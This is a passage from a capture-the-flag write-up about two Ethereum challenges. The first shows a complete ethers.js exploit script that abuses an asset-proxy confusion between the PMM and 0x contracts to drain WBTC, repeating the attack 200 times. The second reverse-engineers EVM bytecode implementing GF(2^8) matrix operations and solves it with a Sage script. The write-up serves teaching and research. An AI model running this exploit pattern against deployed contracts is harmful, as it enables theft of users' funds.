. PMM assumes that 0x uses the ERC20 proxy and transfers makerAssetAmount
of WBTC, but instead the ERC721 proxy transfers 0 WBTC
! PMM will then transfer us makerAssetAmount
of WBTC.
So… does that mean somebody could currently drain the PMM contract of all its tokens? Not quite, because of one small detail: the ERC721 proxy requires that makerAssetAmount = 1
(because transfering more than 1 ERC721 of the same tokenId
doesn't make sense). This means that for each order you execute, you can only steal 1 of the token, which is almost always a negligible amount of value (especially compared to the gas cost of the exploit!). In this challenge, we're paying for gas with fake ETH, so we will simply repeat the exploit 128 times to get the flag!
Actually constructing and executing the orders is a little bit tedious, so we won't explain all the details, but the full exploit code is below:
import { BigNumber, Contract, providers, Wallet, utils } from "ethers";
import { readFileSync } from "fs";
const provider = new providers.JsonRpcProvider("{REDACTED}")
const privkey = "{REDACTED}";
const wallet = new Wallet(privkey, provider);
async function main() {
console.log(await provider.getBlockNumber());
const WBTC = new Contract(
"0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599",
readFileSync("WBTC.abi").toString(),
wallet
);
const PMM = new Contract(
"0x8D90113A1e286a5aB3e496fbD1853F265e5913c6",
readFileSync("PMM.abi").toString(),
wallet
);
const UserProxy = new Contract(
"0x03f34be1bf910116595db1b11e9d1b2ca5d59659",
readFileSync("UserProxy.abi").toString(),
wallet
);
const ZeroExchange = new Contract(
"0x080bf510FCbF18b91105470639e9561022937712",
readFileSync("zeroex.abi").toString(),
wallet
);
let before = WBTC.balanceOf(PMM.address);
// truncated ERC-721 proxy, reads 0 for tokenID
let fakeMakerAssetData = "0x025717920000000000000000000000002260FAC5E5542a773Aa44fBCfeDf7C193bc2C599";
// ERC-20 proxy
let realMakerAssetData = "0xF47261B00000000000000000000000002260FAC5E5542a773Aa44fBCfeDf7C193bc2C599";
let ZERO_ADDR = "0x0000000000000000000000000000000000000000";
let makerAddress = wallet.address;
let takerAddress = ZERO_ADDR;
for (var i = 0; i < 200; i++) { // repeat 200 times in case some fail; this is overkill
const order = {
makerAddress,
takerAddress: PMM.address,
//takerAddress: ZERO_ADDR,
feeRecipientAddress: ZERO_ADDR,
senderAddress: ZERO_ADDR,
makerAssetAmount: 1,
takerAssetAmount: 1,
makerFee: 0,
takerFee: 0,
expirationTimeSeconds: 1700000000n + BigInt(i), // change the expiration time to get different order hashes
salt: 0,
makerAssetData: fakeMakerAssetData,
takerAssetData: "0xF47261B0000000000000000000000000C02AAA39B223FE8D0A0E5C4F27EAD9083C756CC2",
};
let info = await ZeroExchange.getOrderInfo(order);
await ZeroExchange.preSign(info.orderHash, order.makerAddress, "0x");
let zxCall = await ZeroExchange.populateTransaction.fillOrKillOrder(order, order.takerAssetAmount, "0x" + "00".repeat(100) + "06");
let userSalt = 0n;
let SCHEMA = utils.keccak256(utils.toUtf8Bytes("ZeroExTransaction(uint256 salt,address signerAddress,bytes data)"));
let dataHash = utils.keccak256(zxCall.data as string);
let transactionHash = utils.keccak256(
utils.defaultAbiCoder.encode(
["bytes32", "uint256", "address", "bytes32"],
[SCHEMA, userSalt, PMM.address, dataHash]
)
);
let digest = utils.solidityKeccak256([ "bytes32", "address" ], [ transactionHash, wallet.address ]);
let userSignature = await wallet.signMessage(utils.arrayify(digest));
userSignature += wallet.address.substring(2);
let pmmCall = await PMM.populateTransaction.fill(userSalt, zxCall.data, userSignature);
try {
let res = await UserProxy.toPMM(pmmCall.data, { value: order.takerAssetAmount, gasLimit: 2000000 });
console.log(i, (await res.wait()).transactionHash);
} catch(e) {
console.log(i, e)
}
}
let after = await WBTC.balanceOf(PMM.address);
console.log(before, after);
console.log("now go get the flag!")
}
This is an EVM reverse-engineering challenge. The server will show the flag if isSolved()
returns true.
import "Challenge.sol";
interface ChallengeInterface {
function solved() external view returns (bool);
}
contract Setup {
ChallengeInterface public challenge;
constructor() {
challenge = ChallengeInterface(address(new Challenge()));
}
function isSolved() public view returns (bool) {
return challenge.solved();
}
}
To solve this, we need to analyze the Challenge
contract and make challenge.solved()
true. The source code of Challenge
is not given to participants. Only EVM opcodes could be collected using JSON-RPC API (eth_getCode).
The contract accepts two function selectors:
solved()
returns uint8/bool
value from storage slot 0x0 (bool solved
),solved = 1
if the input meets certain condition.The rest of this article discusses about 0xc64b3bb5.
As part of bottom-up analysis, we first collected possible entry offsets of functions by static analysis and decompiled each function. Then we filtered out some known library-generated functions. At Theori, we are building internal tools (including a decompiler) to analyze smart contracts. We used these tools to efficiently and correctly analyze the EVM bytecode. We hope to make them available to the public in the near future.
+
*
-
++
solved = 1
if the returned value is 1function func_b3d (uint256 a0, uint256 a1, uint256 a2) returns (uint256) {
uint256 v0;
uint256 v1;
uint256 v2;
v0 = a1;
v1 = a2;
v2 = 0x0;
do {
if (v1 & 0x1) {
v2 = v0 ^ v2;
}
if (v0 & 0x80) {
v0 = 0x1b ^ ((uint8)v0 << 1);
} else {
v0 = (uint8)v0 << 1;
}
v1 = (uint8)v1 >> 0x1;
} while ((uint8)v1);
return v2;
}
This routine seemed like a multiplication over the finite field GF(2^8), which is described in Wikipedia. The whole routine was the same, including the modulo used in the multiplication.
function func_a85 (uint256 a0, uint256 a1, uint256 a2) returns (uint8) {
...
v0 = a1;
v1 = a2;
v2 = 0x0;
while (v2 < 0x6) {
v3 = 0x0;
while (v3 < 0x6) {
if (v2 < 0x6) {
v4 = MLOAD((v2 << 0x5) + v1);
if (v3 < 0x6) {
v5 = (uint8)MLOAD((v3 << 0x5) + v4);
if (v2 < 0x6) {
v6 = MLOAD((v2 << 0x5) + v0);
if (v3 < 0x6) {
if ((uint8)MLOAD((v3 << 0x5) + v6) != v5) {
return 0x0;
}
v3 = safe_increment(v3);
continue;
}
}
}
}
MSTORE32(0x0, 0x4e487b71 << 0xe0);
MSTORE32(0x4, 0x32);
revert(0x0, 0x24);
}
v2 = safe_increment(v2);
}
return 0x1;
}
The decompiled code above has some redundant patterns. Specifically, while iterating v2
over [0, 6)
, it checks if v2 < 0x6
before each memory access: MLOAD
, MSTORE32
. If the comparison fails, it simply reverts. From this behavior, we can speculate them as boundary checks against fixed-size array like uint8[6][6]
.
Then it accesses uint256
values at the offset MEM[v2 << 0x5] + (v3 << 5)
from a1(=v0)
and (a2=v1)
. There are two solidity-specific design decisions to note (from Solidity documentation):
uint8
actually occupies 32 bytes in the memory.
Elements in memory arrays in Solidity always occupy multiples of 32 bytes …
6x6 (36)
elements, it uses the pointers to uint8[6]
arrays, like double pointers in other languages.
Multi-dimensional memory arrays are pointers to memory arrays.
Also after googling 0x4e487b71
, we learned that this revert()
is generated by solidity for array bound checks. With this in mind, we can simplify the code as below, which becomes a simple matrix comparison:
function func_a85(uint8[6][6] a2, uint8[6][6] a3) {
for(uint v2 = 0; v2 < 6; v2++) {
for(uint v3 = 0; v3 < 6; v3++) {
if(a1[v2][v3] != a2[v2][v3]) {
return 0;
}
}
}
return 1;
}
This is what we have after removing the similar boundary checks from the other two functions:
function func_8c5(a1, a2) {
func_b92();
v2 = func_b92();
for(uint v3 = 0; v3 < 6; v3++) {
for(uint v4 = 0; v4 < 6; v4++) {
for(uint v5 = 0; v5 < 6; v5++) {
v9 = func_b3d(a1[v3][v5], a2[v5][v4]);
v2[v3][v4] ^= v9
}
}
}
}
function func_9d4(a1, a2) {
for(uint v2 = 0; v2 < 6; v2++) {
for(uint v3 = 0; v3 < 6; v3++) {
a1[v2][v3] ^= a2[v2][v3]
}
}
}
In finite field arithmetic, xor (^
) is used for addition, so we can see that func_9d4
is matrix addition and func_8c5
is multiplication.
Then, from the function trace, we found out that it calls
where M0 ~ M2 is hardcoded matrices.
Maybe we can just reverse these steps in 3-2-1 and check the result! Before trying it out, we need to dump the matrices. Since the current EVM debuggers do not have decent interactive memory viewer/dumper (if you know any, please let us know), we patched 0x8c5
to log the whole memory into the log, using LOG0
instruction. For testing we used forge test -vvvv
inside Foundry.
Code patch:
PUSH3 0x100000 ; memory length
PUSH1 0x0 ; memory offset
LOG0 ; dump memory to log
SELFDESRTUCT ; for cleanup
=>
621000006000A0FF
Dumped matrices:
M0 = [
[0xbe, 0x9a, 0xc2, 0x24, 0x7f, 0x4d],
[0x59, 0xde, 0x3b, 0x61, 0x0a, 0x1a],
[0xc8, 0x18, 0x96, 0x0e, 0x94, 0x4d],
[0xe3, 0x64, 0x8c, 0x6d, 0x76, 0xfe],
[0x16, 0xd1, 0x41, 0x8e, 0x0e, 0x50],
[0xe7, 0x42, 0xa4, 0x87, 0x8e, 0x6b],
]
M1 = [
[0x23, 0xab, 0x1e, 0x4c, 0xe9, 0x0e],
[0xef, 0x53, 0xb4, 0xac, 0x18, 0xb1],
[0x3c, 0xc2, 0x2f, 0x34, 0x4a, 0x18],
[0x65, 0x94, 0x67, 0xd3, 0x59, 0x29],
[0xa0, 0x27, 0x4a, 0x73, 0xcd, 0x88],
[0x5e, 0x32, 0x50, 0x20, 0x80, 0x0e],
]
M2 = [
[0x62, 0x62, 0x2d, 0x57, 0x82, 0x2a],
[0xc8, 0xb8, 0x6b, 0x66, 0x8b, 0x19],
[0x49, 0x8b, 0x3a, 0x88, 0xd9, 0x81],
[0xdb, 0x15, 0x6b, 0xcc, 0x12, 0xdb],
[0x91, 0xc0, 0x11, 0x56, 0xa6, 0xd9],
[0x28, 0xf8, 0x2b, 0x47, 0x5d, 0xe2],
]
Because why not, we gave it a try without further analysis. Unfortunately, just running the steps in reverse order didn't give us a printable text or flag (which was technically not required but probably meant we are not doing it correctly).
Since we also need to figure out the input format required by 0xc64b3bb5
, we decided to analyze how the functions above are called exactly using EVM disassembler e.g., ida-evm.
Reading the assembly, we found the following input-related checks:
bytes
format with the length of 42
evm:00000071 JUMPDEST
evm:00000072 PUSH1 0x2a
evm:00000074 DUP2
evm:00000075 EQ ; func_bdd() == 0x2a
PCTF{...}
format
; Checks if the 1st byte is 0x50 (P)
evm:000000C2 PUSH1 0x5
evm:000000C4 PUSH1 0xfc
evm:000000C6 SHL
evm:000000C7 EQ ; 0x5 << 0xfc == input[0] << 0xf8
; the 2nd byte is 0x43 (C)
evm:000000F6 PUSH1 0x43
evm:000000F8 PUSH1 0xf8
evm:000000FA SHL
evm:000000FB EQ ; 0x43 << 0xf8 == input[1] << 0xf8
...
Then the character inside PCTF{...}
is 36 bytes, which fits into 6x6 matrix. Now we'll analyze how each functions are called.
evm:0000081C routine: ;
evm:0000081C PUSH2 0x838 ; #2 JUMP at 0x837 returns to 0x838
evm:0000081F DUP4
evm:00000820 PUSH2 0x832 ; #1 JUMP at 0x831 returns to 0x832
evm:00000823 DUP7
evm:00000824 DUP6
evm:00000825 PUSH2 0x8c5 ; multiply matrices
evm:00000828 SWAP1 ; x, func_8c5
evm:00000829 SWAP2 ; y, func_8c5, x
evm:0000082A SWAP1 ; func_8c5, y, x
evm:0000082B PUSH4 0xffffffff
evm:00000830 AND
evm:00000831 JUMP
evm:00000832 ; ----------------------------------------------------------------------
evm:00000832 JUMPDEST
evm:00000833 SWAP1
evm:00000834 PUSH2 0x9d4 ; add matrices
evm:00000837 JUMP
evm:00000838 ; ----------------------------------------------------------------------
evm:00000838 JUMPDEST
evm:00000839 SWAP4
evm:0000083A POP
evm:0000083B PUSH2 0x848 ; #4 JUMP at 0x837 returns to 0x848
evm:0000083E DUP4
evm:0000083F PUSH2 0x832 ; #3 JUMP at 0x847 returns to 0x832
evm:00000842 DUP5
evm:00000843 DUP8
evm:00000844 PUSH2 0x8c5
evm:00000847 JUMP
evm:00000848 ; ----------------------------------------------------------------------
... repeated 6 times
evm:00000888 JUMPDEST
evm:00000889 SWAP4
evm:0000088A POP
evm:0000088B PUSH2 0x894
evm:0000088E DUP5
evm:0000088F DUP3
evm:00000890 PUSH2 0xa85 ; compare matrices
evm:00000893 JUMP
0000081C
~ 00000831
sets up EVM stack like:
| func_8c5 (multiply) | arg1 | arg2 | 00000832 | 00000838 |
After func_8c5
is finished, it returns to the caller function by executing JUMP
, which is 00000832
. Then 00000832
sets up EVM stack like below:
| func_9d4 (add) | arg1 | arg2 | 00000838 |
So we can see that multiplication comes first, followed by addition. Interestingly, 00000838
~ 00000847
uses 00000832
again after calling the multiplication for the second time. So, 00000832
is used like a reusable piece of code for matrix addition. This pattern is repeated 6 times, then the comparison function at 0xa85
is called.
From the above, we now know that the step 1, 2 is repeated 6 times. By doing this in reverse step, we can get the flag.
M0 = [
[0xbe, 0x9a, 0xc2, 0x24, 0x7f, 0x4d],
[0x59, 0xde, 0x3b, 0x61, 0x0a, 0x1a],
[0xc8, 0x18, 0x96, 0x0e, 0x94, 0x4d],
[0xe3, 0x64, 0x8c, 0x6d, 0x76, 0xfe],
[0x16, 0xd1, 0x41, 0x8e, 0x0e, 0x50],
[0xe7, 0x42, 0xa4, 0x87, 0x8e, 0x6b],
]
M1 = [
[0x23, 0xab, 0x1e, 0x4c, 0xe9, 0x0e],
[0xef, 0x53, 0xb4, 0xac, 0x18, 0xb1],
[0x3c, 0xc2, 0x2f, 0x34, 0x4a, 0x18],
[0x65, 0x94, 0x67, 0xd3, 0x59, 0x29],
[0xa0, 0x27, 0x4a, 0x73, 0xcd, 0x88],
[0x5e, 0x32, 0x50, 0x20, 0x80, 0x0e],
]
M2 = [
[0x62, 0x62, 0x2d, 0x57, 0x82, 0x2a],
[0xc8, 0xb8, 0x6b, 0x66, 0x8b, 0x19],
[0x49, 0x8b, 0x3a, 0x88, 0xd9, 0x81],
[0xdb, 0x15, 0x6b, 0xcc, 0x12, 0xdb],
[0x91, 0xc0, 0x11, 0x56, 0xa6, 0xd9],
[0x28, 0xf8, 0x2b, 0x47, 0x5d, 0xe2],
]
# Setup GF(2^8) finite field with modulus 0x11b (x^8 + x^4 + x^3 + x + 1)
F.<x> = GF(2^8, modulus=GF(2^9).fetch_int(0x11b))
M0 = Matrix(F, Matrix(M0).apply_map(F.fetch_int))
M1 = Matrix(F, Matrix(M1).apply_map(F.fetch_int))
M2 = Matrix(F, Matrix(M2).apply_map(F.fetch_int))
def print_flag(flag):
flag_int = bytearray(36)
for i in range(6):
for j in range(6):
flag_int[6*i+j] = flag[i, j].integer_representation()
print(flag_int)
flag = M2
for i in range(6):
flag = flag + M0
flag = (M1 ^ -1) * flag
print_flag(flag)